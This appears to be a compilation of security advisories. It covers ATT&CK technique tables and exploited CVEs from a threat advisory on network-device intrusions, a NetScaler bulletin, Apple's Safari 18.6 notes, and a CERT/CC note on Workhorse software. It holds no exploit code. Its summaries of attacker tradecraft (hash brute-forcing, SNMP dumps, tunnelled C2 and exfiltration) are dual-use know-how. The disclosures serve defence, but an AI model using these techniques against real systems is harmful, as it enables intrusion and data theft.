- Use: Brute force weak hashed Cisco Type 5 password
Table 16: Discovery
- Technique Title: System Information Discovery
- ID: T1082
- Use: Leverage CLI on network devices to gather system information
- Technique Title: System Network Configuration Discovery
- ID: T1016
- Use: Enumerate interfaces/VRFs/routing/ACLs and related network settings from the device CLI/SNMP
Table 17: Lateral Movement
- Technique Title: Remote Services
- ID: T1021
- Use: Enumerate and alter the SNMP configurations for other devices in the same community group
- Technique Title: Remote Services: SSH
- ID: T1021.004
- Use: Enable SSH servers and open external-facing ports on network devices to maintain encrypted remote access
Table 18: Collection
- Technique Title: Archive Collected Data
- ID: T1560
- Use: Compile configurations and packet captures
- Technique Title: Data from Configuration Repository: SNMP (MIB Dump)
- ID: T1602.001
- Use: Target MIB to collect network information via SNMP
- Technique Title: Data from Configuration Repository: Network Device Configuration Dump
- ID: T1602.002
- Use: Acquire credentials by collecting network device configurations
- Technique Title: Data from Local System
- ID: T1005
- Use: Passively collect PCAP from specific ISP customer networks
Table 19: Command and Control
- Technique Title: Proxy
- ID: T1090
- Use: Use VPS for C2
- Technique Title: Proxy: Multi-hop Proxy
- ID: T1090.003
- Use: Leverage open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control and operator access
- Technique Title: Application Layer Protocol
- ID: T1071
- Use: Open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS)
- Technique Title: Non-Standard Port
- ID: T1571
- Use: Utilize non-standard ports to evade detection by security monitoring tools that focus on standard port activity
- Technique Title: Protocol Tunneling
- ID: T1572
- Use: Create tunnels over protocols such as GRE, mGRE, or IPsec on network devices
- Technique Title: Non-Application Layer Protocol
- ID: T1095
- Use: Use GRE/IPsec to carry C2 over non-application layer protocols
Table 20: Exfiltration
- Technique Title: Exfiltration over Alternative Protocol
- ID: T1048.003
- Use: Use tunnels, such as IPsec and GRE, to conduct C2 and exfiltration activities
Appendix B: CVEs exploited
Table 21: Exploited CVE information
- CVE : CVE-2024-21887
- Vendor/Product : Ivanti Connect Secure and Ivanti Policy
- Details: Command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass)
- CVE : CVE-2024-3400
- Vendor/Product : Palo Alto Networks PAN-OS GlobalProtect
- Details: Arbitrary file creation leading to OS command injection, allowing for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations
- CVE : CVE-2023-20273
- Vendor/Product : Cisco IOS XE
- Details: Web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root)
- CVE : CVE-2023-20198
- Vendor/Product : Cisco IOS XE
- Details: Authentication bypass vulnerability to create unauthorized administrative accounts
- CVE : CVE-2018-0171
- Vendor/Product : Cisco IOS and IOS XE
- Details: Smart Install remote code execution vulnerability
Appendix C: MITRE D3FEND Countermeasures
Table 22: MITRE D3FEND countermeasures
- Countermeasure Title : Platform Monitoring
- ID : D3-PM
- Details : Regularly review network device (especially router) logs and configurations for evidence of any unexpected, unapproved, or unusual activity, especially for changes to network tunnels, AAA configurations, ACLs, packet captures or network mirroring, and virtual containers
- Countermeasure Title : Network Traffic Community Deviation
- ID : D3-NTCD
- Details : Check for unexpected GRE or other tunneling protocols, unexpected TACACS+ or RADIUS servers, or other unusual traffic
- Countermeasure Title : Outbound Traffic Filtering
- ID : D3-OTF
- Details : Disable outbound connections from management interfaces
- Countermeasure Title : Application Configuration Hardening
- ID : D3-ACH
- Details : Disable all unused ports and protocols (both traffic and management protocols), disable Cisco smart install, disable Cisco Guest Shell, use only strong cryptographic algorithms
- Countermeasure Title : Change Default Password
- ID : D3-CFP
- Details : Change all default administrative credentials and SNMP community strings
- Countermeasure Title : Credential Hardening
- ID : D3-CH
- Details : Disable password authentication where possible, use strong PKI-based or multifactor authentication, use strong cryptographic password storage settings (i.e., Cisco Type 8), and use lockouts to slow brute force attempts
- Countermeasure Title : Software Update
- ID : D3-SU
- Details : Update software to patch known vulnerabilities and upgrade devices to supported versions
- Countermeasure Title : Network Isolation
- ID : D3-NI
- Details : Implement management-plane isolation and control-plane policing (CoPP) to keep all network management traffic separate from data plane traffic
- Countermeasure Title : Inbound Traffic Filtering
- ID : D3-ITF
- Details : Ensure management VRFs cannot receive traffic from the data plane
Related vulnerabilities: CVE-2024-21887CVE-2024-3400CVE-2023-20198CVE-2018-0171CVE-2023-46805CVE-2023-20273
NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2025-7775, CVE-2025-7776 and CVE-2025-8424 Article Id : CTX694938 Last Modified Date : 08-26-2025 12:11 Created Date : 08-26-2025 11:40 Article Record Type : Security Bulletin Summary Severity - Critical Description of Problem
Multiple vulnerabilities have been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway). Refer below for further details. Affected Versions
The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities:
NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-47.48
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-59.22
NetScaler ADC 13.1-FIPS and NDcPP BEFORE 13.1-37.241-FIPS and NDcPP
NetScaler ADC 12.1-FIPS and NDcPP BEFORE 12.1-55.330-FIPS and NDcPP
Additional Note: Secure Private Access on-prem or Secure Private Access Hybrid deployments using NetScaler instances are also affected by the vulnerabilities. Customers need to upgrade these NetScaler instances to the recommended NetScaler builds to address the vulnerabilities.
This bulletin only applies to customer-managed NetScaler ADC and NetScaler Gateway. Cloud Software Group upgrades the Citrix-managed cloud services and Citrix-managed Adaptive Authentication with the necessary software updates. Details
NetScaler ADC and NetScaler Gateway contain the vulnerability mentioned below:
CVE-ID Description Pre-conditions CWE CVSSv4
CVE-2025-7775
Memory overflow vulnerability leading to Remote Code Execution and/or Denial of Service
NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server
(OR)
NetScaler ADC and NetScaler Gateway 13.1, 14.1, 13.1-FIPS and NDcPP: LB virtual servers of type (HTTP, SSL or HTTP_QUIC) bound with IPv6 services or servicegroups bound with IPv6 servers
(OR)
NetScaler ADC and NetScaler Gateway 13.1, 14.1, 13.1-FIPS and NDcPP: LB virtual servers of type (HTTP, SSL or HTTP_QUIC) bound with DBS IPv6 services or servicegroups bound with IPv6 DBS servers
(OR)
CR virtual server with type HDX
CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
CVSS v4.0 Base Score: 9.2
(CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)
CVE-2025-7776
Memory overflow vulnerability leading to unpredictable or erroneous behavior and Denial of Service
NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) with PCoIP Profile bounded to it
CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
CVSS v4.0 Base Score: 8.8
(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:L)
CVE-2025-8424
Improper access control on the NetScaler Management Interface
Access to NSIP, Cluster Management IP or local GSLB Site IP or SNIP with Management Access
CWE-284: Improper Access Control
CVSS v4.0 Base Score: 8.7
(CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L) What Customers Should Do
Exploits of CVE-2025-7775 on unmitigated appliances have been observed.
Cloud Software Group strongly urges affected customers of NetScaler ADC and NetScaler Gateway to install the relevant updated versions as soon as possible.
NetScaler ADC and NetScaler Gateway 14.1-47.48 and later releases
NetScaler ADC and NetScaler Gateway 13.1-59.22 and later releases of 13.1
NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.241 and later releases of 13.1-FIPS and 13.1-NDcPP
NetScaler ADC 12.1-FIPS and 12.1-NDcPP 12.1-55.330 and later releases of 12.1-FIPS and 12.1-NDcPP
Note: NetScaler ADC and NetScaler Gateway versions 12.1 and 13.0 are now End Of Life (EOL) and no longer supported. Customers are recommended to upgrade their appliances to one of the supported versions that address the vulnerabilities.
CVE-2025-7775:
Customers can determine if they have an appliance configured as one of the following by inspecting their NetScaler Configuration for the specified strings
An Auth Server (AAA Vserver)
add authentication vserver .*
A Gateway (VPN Vserver, ICA Proxy, CVPN, RDP Proxy)
add vpn vserver .*
LB vserver of Type HTTP_QUIC|SSL|HTTP bound with IPv6 services or servicegroups bound with IPv6 servers:
enable ns feature lb.*
add serviceGroup .* (HTTP_QUIC|SSL|HTTP) .*
add server .* <IPv6>
bind servicegroup <servicegroup name> <IPv6 server> .*
add lb vserver .* (HTTP_QUIC|SSL|HTTP) .*
bind lb vserver .* <ipv6 servicegroup name>
LB vserver of Type HTTP_QUIC|SSL|HTTP bound with DBS IPv6 services or servicegroups bound with IPv6 DBS servers:
enable ns feature lb.*
add serviceGroup .* (HTTP_QUIC | SSL | HTTP) .*
add server .* <domain> -queryType AAAA
add service .* <IPv6 DBS server >
bind servicegroup <servicegroup name> <IPv6 DBS server> .*
add lb vserver .* (HTTP_QUIC | SSL | HTTP) .*
bind lb vserver .* <ipv6 servicegroup name>
CR vserver with type HDX:
add cr vserver .* HDX .*
CVE-2025-7776:
Customers can determine if they have an appliance configured by inspecting their ns.conf file for the specified strings
A Gateway (VPN vserver) with with PCoIP Profile bounded to it
add vpn vserver .* -pcoipVserverProfileName .*
Workarounds/ Mitigating Factors
None
Acknowledgement
Cloud Software Group thanks Jimi Sebree of Horizon3.ai, Jonathan Hetzer, of Schramm & Partnerfor and François Hämmerli for working with us to protect Citrix customers.
Reference: https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX694938
Related vulnerabilities: CVE-2025-8424CVE-2025-7775CVE-2025-7776
About the security content of Safari 18.6 - Apple Support
For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security releases page.
Apple security documents reference vulnerabilities by CVE-ID when possible.
For more information about security, see the Apple Product Security page.
Released July 30, 2025
Available for: macOS Ventura and macOS Sonoma
Impact: Processing a file may lead to memory corruption
Description: This is a vulnerability in open source code and Apple Software is among the affected projects. The CVE-ID was assigned by a third party. Learn more about the issue and CVE-ID at cve.org.
CVE-2025-7425: Sergei Glazunov of Google Project Zero
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may lead to memory corruption
Description: This is a vulnerability in open source code and Apple Software is among the affected projects. The CVE-ID was assigned by a third party. Learn more about the issue and CVE-ID at cve.org.
CVE-2025-7424: Ivan Fratric of Google Project Zero
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash
Description: A logic issue was addressed with improved checks.
CVE-2025-24188: Andreas Jaegersberger & Ro Achterberg of Nosebeard Labs
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may lead to universal cross site scripting
Description: This issue was addressed through improved state management.
WebKit Bugzilla: 285927
CVE-2025-43229: Martin Bajanik of Fingerprint, Ammar Askar
Available for: macOS Ventura and macOS Sonoma
Impact: Visiting a malicious website may lead to address bar spoofing
Description: The issue was addressed with improved UI.
WebKit Bugzilla: 294374
CVE-2025-43228: Jaydev Ahire
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may disclose sensitive user information
Description: This issue was addressed through improved state management.
WebKit Bugzilla: 292888
CVE-2025-43227: Gilad Moav
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may lead to memory corruption
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 291742
CVE-2025-31278: Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei
WebKit Bugzilla: 291745
CVE-2025-31277: Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei
WebKit Bugzilla: 293579
CVE-2025-31273: Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei
Available for: macOS Ventura and macOS Sonoma
Impact: A download's origin may be incorrectly associated
Description: A logic issue was addressed with improved checks.
WebKit Bugzilla: 293994
CVE-2025-43240: Syarif Muhammad Sajjad
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 292599
CVE-2025-43214: shandikri working with Trend Micro Zero Day Initiative, Google V8 Security Team
WebKit Bugzilla: 292621
CVE-2025-43213: Google V8 Security Team
WebKit Bugzilla: 293197
CVE-2025-43212: Nan Wang (@eternalsakura13) and Ziling Chen
Available for: macOS Ventura and macOS Sonoma
Impact: Processing web content may lead to a denial-of-service
Description: The issue was addressed with improved memory handling.
WebKit Bugzilla: 293730
CVE-2025-43211: Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may disclose internal states of the app
Description: An out-of-bounds read was addressed with improved input validation.
WebKit Bugzilla: 294182
CVE-2025-43265: HexRabbit (@h3xr4bb1t) from DEVCORE Research Team
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash
Description: A use-after-free issue was addressed with improved memory management.
WebKit Bugzilla: 295382
CVE-2025-43216: Ignacio Sanmillan (@ulexec)
Available for: macOS Ventura and macOS Sonoma
Impact: Processing maliciously crafted web content may lead to an unexpected Safari crash
Description: This is a vulnerability in open source code and Apple Software is among the affected projects. The CVE-ID was assigned by a third party. Learn more about the issue and CVE-ID at cve.org.
WebKit Bugzilla: 296459
CVE-2025-6558: Clément Lecigne and Vlad Stolyarov of Google's Threat Analysis Group
We would like to acknowledge Sergei Glazunov of Google Project Zero for their assistance.
We would like to acknowledge Ivan Fratric of Google Project Zero for their assistance.
We would like to acknowledge Ameen Basha M K for their assistance.
We would like to acknowledge Google V8 Security Team, Yuhao Hu, Yan Kang, Chenggang Wu, and Xiaojie Wei, rheza (@ginggilBesel) for their assistance.
Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.
Published Date: July 30, 2025
Related vulnerabilities: CVE-2025-6558CVE-2025-31277CVE-2025-43240CVE-2025-43228CVE-2025-24188CVE-2025-31273CVE-2025-31278CVE-2025-43213CVE-2025-43227CVE-2025-43229CVE-2025-43211CVE-2025-7424CVE-2025-43265CVE-2025-43216CVE-2025-7425CVE-2025-43214CVE-2025-43212
Description
Two primary issues exist in Workhorse's design: Plaintext Database Connection String
CVE-2025-9037 The software stores the SQL Server connection string in a plaintext configuration file located alongside the executable. In typical deployments, this directory is on a shared network folder hosted by the same server running the SQL database. If SQL authentication is used, credentials in this file could be recovered by anyone with read access to the directory. Unauthenticated Database Backup Functionality
CVE-2025-9040 The application’s “File” menu, accessible even from the login screen, provides a database backup feature that executes an MS SQL Server Express backup and allows saving the resulting .bak file inside an unencrypted ZIP archive. This backup can be restored to any SQL Server instance without requiring a password.
An attacker with physical access to a workstation, malware capable of reading network files, or via social engineering could exfiltrate full database backups without authentication. Impact
An attacker could obtain the complete database, potentially exposing sensitive personally identifiable information (PII) such as Social Security numbers, full municipal financial records, and other confidential data. Possession of a database backup could also enable data tampering, potentially undermining audit trails and compromising the integrity of municipal financial operations. Solution
The CERT/CC recommends updating the software to version 1.9.4.48019 as soon as possible. Other potential mitigations include: * Restricting access to the application directory via NTFS permissions * Enabling SQL Server encryption and Windows Authentication * Disabling the backup feature at the vendor or configuration level * Using network segmentation and firewall rules to limit database access Acknowledgements
This issue was reported during a security audit and new server installation by James Harrold, Sparrow IT Solutions. This document was written by Timur Snoke.
Related vulnerabilities: CVE-2025-9040CVE-2025-9037